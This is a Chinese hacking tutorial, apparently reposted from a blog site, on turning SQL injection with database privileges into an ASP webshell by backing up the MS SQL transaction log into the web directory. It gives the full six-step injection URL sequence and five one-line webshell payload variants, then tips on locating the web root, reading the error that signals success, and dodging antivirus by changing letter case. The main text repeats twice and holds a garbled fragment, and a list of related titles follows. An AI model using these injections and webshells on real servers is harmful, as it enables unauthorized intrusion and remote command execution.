SQL log备份上WEBSHELL总结
来源:互联网 发布:java swing还有人用吗 编辑:程序博客网 时间:2024/05/18 00:15
当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份
这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:/cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%%25>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:/xxx/xxx/asp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就eBF梢允4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份
这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:/cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%%25>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:/xxx/xxx/asp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就eBF梢允4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
- SQL log备份上WEBSHELL总结
- 利用log备份得到webshell
- 利用log备份获取WEBSHELL
- 利用Log备份获取Webshell
- sql备份语句总结
- SQL注入得到WEBSHELL
- SQL注入得到WEBSHELL
- ASP WEBSHELL权限总结
- ASP WEBSHELL权限总结
- webshell学习总结
- SQL Server备份问题总结
- SQL自动备份,误操作恢复ApexSQL log
- SQL注入Access导出WebShell?
- SQL注入Access导出WebShell
- 另类sql注入拿webshell
- WEBSHELL姿势之SQL一句话
- Oracle RAC archive log的几种备份方式总结
- ASP.NET备份db日志获得webshell
- 一些小技巧与常见问题解决方法
- ASP.NET备份db日志获得webshell
- 06.26-07.26近期工作总结
- 关于document.getElementById的用法
- 代码安全边缘性问题
- SQL log备份上WEBSHELL总结
- JSP+JAVABEAN+SERVLET开发环境配置指南
- 诱惑,俺想做DBA
- 在AIX操作系统上安装使用VIM的注意事项
- 一句话木马中突破〈%%〉标记过滤
- eclipse3.2 修改JSP模板
- 如果把项目开发管理看成是坐公车的过程,记得一定要安排一个逆向的位置
- FCKeditor系统拿webshell
- 用C++写的一段电话录音程序代码